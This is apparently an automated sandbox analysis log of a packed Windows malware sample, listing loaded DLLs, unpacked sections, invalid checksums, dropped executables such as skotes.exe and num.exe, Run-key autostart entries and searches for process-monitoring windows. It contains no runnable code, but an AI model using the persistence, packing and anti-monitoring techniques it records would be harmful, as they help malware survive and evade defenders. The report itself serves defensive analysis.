Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32 Jump to behavior
Source: C:\Program Files\Mozilla Firefox\firefox.exe File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini
Source: Window Recorder Window detected: More than 3 window changes detected
Source: file.exe Static file information: File size 2928128 > 1048576
Source: file.exe Static PE information: Raw size of yswfrwhx is bigger than: 0x100000 < 0x29f400
Source: Binary string: my_library.pdbU source: b28f5af0b9.exe, 0000000A.00000003.2539631182.0000000004D1B000.00000004.00001000.00020000.00000000.sdmp, b28f5af0b9.exe, 0000000A.00000002.2580073228.00000000002EC000.00000040.00000001.01000000.0000000F.sdmp, b28f5af0b9.exe, 0000001D.00000003.2678993762.0000000004F6B000.00000004.00001000.00020000.00000000.sdmp, b28f5af0b9.exe, 0000001D.00000002.2770625069.00000000002EC000.00000040.00000001.01000000.0000000F.sdmp, num.exe, 0000001E.00000002.2683995426.000000000023C000.00000008.00000001.01000000.00000017.sdmp, num.exe, 00000025.00000002.2830828973.000000000023C000.00000008.00000001.01000000.00000017.sdmp
Source: Binary string: my_library.pdb source: b28f5af0b9.exe, 0000000A.00000003.2539631182.0000000004D1B000.00000004.00001000.00020000.00000000.sdmp, b28f5af0b9.exe, 0000000A.00000002.2580073228.00000000002EC000.00000040.00000001.01000000.0000000F.sdmp, b28f5af0b9.exe, 0000001D.00000003.2678993762.0000000004F6B000.00000004.00001000.00020000.00000000.sdmp, b28f5af0b9.exe, 0000001D.00000002.2770625069.00000000002EC000.00000040.00000001.01000000.0000000F.sdmp, num.exe, 0000001E.00000002.2683995426.000000000023C000.00000008.00000001.01000000.00000017.sdmp, num.exe, 00000025.00000002.2830828973.000000000023C000.00000008.00000001.01000000.00000017.sdmp
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: CMI46CXL3718GGL9UBA.exe, 00000004.00000002.2204360289.0000000000E92000.00000040.00000001.01000000.00000006.sdmp, CMI46CXL3718GGL9UBA.exe, 00000004.00000003.2070411561.0000000004970000.00000004.00001000.00020000.00000000.sdmp, SLPBKPVSB544AP3LMUB.exe, 0000001F.00000002.2849679646.0000000000922000.00000040.00000001.01000000.00000018.sdmp, SLPBKPVSB544AP3LMUB.exe, 0000001F.00000003.2713779245.0000000004750000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Unpacked PE file: 4.2.CMI46CXL3718GGL9UBA.exe.e90000.0.unpack :EW;.rsrc:W;.idata :W;ucxgvins:EW;nulvttal:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Unpacked PE file: 5.2.S39605Y99PQJP70DBWYAE5A.exe.920000.0.unpack :EW;.rsrc:W;.idata :W; :EW;axzfwsyi:EW;hvubbrkg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;axzfwsyi:EW;hvubbrkg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 6.2.skotes.exe.150000.0.unpack :EW;.rsrc:W;.idata :W; :EW;axzfwsyi:EW;hvubbrkg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;axzfwsyi:EW;hvubbrkg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Unpacked PE file: 10.2.b28f5af0b9.exe.2c0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;lvyqwrnu:EW;fslmoltp:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;lvyqwrnu:EW;fslmoltp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Unpacked PE file: 11.2.bd73c9fe1b.exe.d30000.0.unpack :EW;.rsrc:W;.idata :W;yswfrwhx:EW;eypvdvsa:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;yswfrwhx:EW;eypvdvsa:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Unpacked PE file: 29.2.b28f5af0b9.exe.2c0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;lvyqwrnu:EW;fslmoltp:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;lvyqwrnu:EW;fslmoltp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Unpacked PE file: 31.2.SLPBKPVSB544AP3LMUB.exe.920000.0.unpack :EW;.rsrc:W;.idata :W;ucxgvins:EW;nulvttal:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe Unpacked PE file: 32.2.5EQND7K5L8HE276L.exe.db0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;axzfwsyi:EW;hvubbrkg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;axzfwsyi:EW;hvubbrkg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Unpacked PE file: 49.2.bd73c9fe1b.exe.d30000.0.unpack :EW;.rsrc:W;.idata :W;yswfrwhx:EW;eypvdvsa:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;yswfrwhx:EW;eypvdvsa:EW;.taggant:EW;
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: num.exe.7.dr Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: random[1].exe.7.dr Static PE information: real checksum: 0x2ce5c5 should be: 0x2cc52f
Source: SLPBKPVSB544AP3LMUB.exe.8.dr Static PE information: real checksum: 0x2b0426 should be: 0x2affbf
Source: 5EQND7K5L8HE276L.exe.8.dr Static PE information: real checksum: 0x1d1c5d should be: 0x1d147d
Source: b28f5af0b9.exe.7.dr Static PE information: real checksum: 0x206242 should be: 0x207dcb
Source: skotes.exe.5.dr Static PE information: real checksum: 0x1d1c5d should be: 0x1d147d
Source: random[1].exe0.7.dr Static PE information: real checksum: 0x206242 should be: 0x207dcb
Source: file.exe Static PE information: real checksum: 0x2ce5c5 should be: 0x2cc52f
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr Static PE information: real checksum: 0x1d1c5d should be: 0x1d147d
Source: num[1].exe.7.dr Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: bd73c9fe1b.exe.7.dr Static PE information: real checksum: 0x2ce5c5 should be: 0x2cc52f
Source: CMI46CXL3718GGL9UBA.exe.0.dr Static PE information: real checksum: 0x2b0426 should be: 0x2affbf
PE file contains sections with non-standard names
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name: yswfrwhx
Source: file.exe Static PE information: section name: eypvdvsa
Source: file.exe Static PE information: section name: .taggant
Source: CMI46CXL3718GGL9UBA.exe.0.dr Static PE information: section name:
Source: CMI46CXL3718GGL9UBA.exe.0.dr Static PE information: section name: .idata
Source: CMI46CXL3718GGL9UBA.exe.0.dr Static PE information: section name: ucxgvins
Source: CMI46CXL3718GGL9UBA.exe.0.dr Static PE information: section name: nulvttal
Source: CMI46CXL3718GGL9UBA.exe.0.dr Static PE information: section name: .taggant
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr Static PE information: section name:
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr Static PE information: section name: .idata
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr Static PE information: section name:
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr Static PE information: section name: axzfwsyi
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr Static PE information: section name: hvubbrkg
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr Static PE information: section name: .taggant
Source: skotes.exe.5.dr Static PE information: section name:
Source: skotes.exe.5.dr Static PE information: section name: .idata
Source: skotes.exe.5.dr Static PE information: section name:
Source: skotes.exe.5.dr Static PE information: section name: axzfwsyi
Source: skotes.exe.5.dr Static PE information: section name: hvubbrkg
Source: skotes.exe.5.dr Static PE information: section name: .taggant
Source: random[1].exe.7.dr Static PE information: section name:
Source: random[1].exe.7.dr Static PE information: section name: .idata
Source: random[1].exe.7.dr Static PE information: section name: yswfrwhx
Source: random[1].exe.7.dr Static PE information: section name: eypvdvsa
Source: random[1].exe.7.dr Static PE information: section name: .taggant
Source: bd73c9fe1b.exe.7.dr Static PE information: section name:
Source: bd73c9fe1b.exe.7.dr Static PE information: section name: .idata
Source: bd73c9fe1b.exe.7.dr Static PE information: section name: yswfrwhx
Source: bd73c9fe1b.exe.7.dr Static PE information: section name: eypvdvsa
Source: bd73c9fe1b.exe.7.dr Static PE information: section name: .taggant
Source: random[1].exe0.7.dr Static PE information: section name:
Source: random[1].exe0.7.dr Static PE information: section name: .rsrc
Source: random[1].exe0.7.dr Static PE information: section name: .idata
Source: random[1].exe0.7.dr Static PE information: section name:
Source: random[1].exe0.7.dr Static PE information: section name: lvyqwrnu
Source: random[1].exe0.7.dr Static PE information: section name: fslmoltp
Source: random[1].exe0.7.dr Static PE information: section name: .taggant
Source: b28f5af0b9.exe.7.dr Static PE information: section name:
Source: b28f5af0b9.exe.7.dr Static PE information: section name: .rsrc
Source: b28f5af0b9.exe.7.dr Static PE information: section name: .idata
Source: b28f5af0b9.exe.7.dr Static PE information: section name:
Source: b28f5af0b9.exe.7.dr Static PE information: section name: lvyqwrnu
Source: b28f5af0b9.exe.7.dr Static PE information: section name: fslmoltp
Source: b28f5af0b9.exe.7.dr Static PE information: section name: .taggant
Source: SLPBKPVSB544AP3LMUB.exe.8.dr Static PE information: section name:
Source: SLPBKPVSB544AP3LMUB.exe.8.dr Static PE information: section name: .idata
Source: SLPBKPVSB544AP3LMUB.exe.8.dr Static PE information: section name: ucxgvins
Source: SLPBKPVSB544AP3LMUB.exe.8.dr Static PE information: section name: nulvttal
Source: SLPBKPVSB544AP3LMUB.exe.8.dr Static PE information: section name: .taggant
Source: 5EQND7K5L8HE276L.exe.8.dr Static PE information: section name:
Source: 5EQND7K5L8HE276L.exe.8.dr Static PE information: section name: .idata
Source: 5EQND7K5L8HE276L.exe.8.dr Static PE information: section name:
Source: 5EQND7K5L8HE276L.exe.8.dr Static PE information: section name: axzfwsyi
Source: 5EQND7K5L8HE276L.exe.8.dr Static PE information: section name: hvubbrkg
Source: 5EQND7K5L8HE276L.exe.8.dr Static PE information: section name: .taggant
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_0522382F push esi; retf 0_3_05223830
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_0522382F push esi; retf 0_3_05223830
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_0522382F push esi; retf 0_3_05223830
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_0522382F push esi; retf 0_3_05223830
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_0522382F push esi; retf 0_3_05223830
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_05223318 push eax; iretd 0_3_05223319
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_05223318 push eax; iretd 0_3_05223319
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_05223318 push eax; iretd 0_3_05223319
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_05223318 push eax; iretd 0_3_05223319
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_05223318 push eax; iretd 0_3_05223319
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_008C86C1 push eax; retf 0_3_008C86D1
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_008C86C1 push eax; retf 0_3_008C86D1
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_008C3D64 pushad ; retf 003Eh 0_3_008C3D69
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_008C3D64 pushad ; retf 003Eh 0_3_008C3D69
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_008C86C1 push eax; retf 0_3_008C86D1
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_008C86C1 push eax; retf 0_3_008C86D1
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_008C3D64 pushad ; retf 003Eh 0_3_008C3D69
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_008C3D64 pushad ; retf 003Eh 0_3_008C3D69
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_008D0A01 pushad ; ret 0_3_008D0A39
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_008D0A01 pushad ; ret 0_3_008D0A39
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_008D0A01 pushad ; ret 0_3_008D0A39
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_008D0A01 pushad ; ret 0_3_008D0A39
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_008D0A01 pushad ; ret 0_3_008D0A39
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_0522382F push esi; retf 0_3_05223830
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_0522382F push esi; retf 0_3_05223830
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_0522382F push esi; retf 0_3_05223830
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_0522382F push esi; retf 0_3_05223830
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_0522382F push esi; retf 0_3_05223830
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_05223318 push eax; iretd 0_3_05223319
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_05223318 push eax; iretd 0_3_05223319
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_05223318 push eax; iretd 0_3_05223319
Source: file.exe Static PE information: section name: entropy: 7.984648615988983
Source: CMI46CXL3718GGL9UBA.exe.0.dr Static PE information: section name: entropy: 7.791645043288012
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr Static PE information: section name: entropy: 7.985703157171722
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr Static PE information: section name: axzfwsyi entropy: 7.9536560264351355
Source: skotes.exe.5.dr Static PE information: section name: entropy: 7.985703157171722
Source: skotes.exe.5.dr Static PE information: section name: axzfwsyi entropy: 7.9536560264351355
Source: random[1].exe.7.dr Static PE information: section name: entropy: 7.984648615988983
Source: bd73c9fe1b.exe.7.dr Static PE information: section name: entropy: 7.984648615988983
Source: random[1].exe0.7.dr Static PE information: section name: lvyqwrnu entropy: 7.954065080128192
Source: b28f5af0b9.exe.7.dr Static PE information: section name: lvyqwrnu entropy: 7.954065080128192
Source: SLPBKPVSB544AP3LMUB.exe.8.dr Static PE information: section name: entropy: 7.791645043288012
Source: 5EQND7K5L8HE276L.exe.8.dr Static PE information: section name: entropy: 7.985703157171722
Source: 5EQND7K5L8HE276L.exe.8.dr Static PE information: section name: axzfwsyi entropy: 7.9536560264351355
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File created: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File created: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe Jump to dropped file

Boot Survival
barindex
Creates multiple autostart registry keys
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f27afcd405.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bd73c9fe1b.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b28f5af0b9.exe Jump to behavior
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Window searched: window name: Filemonclass Jump to behavior
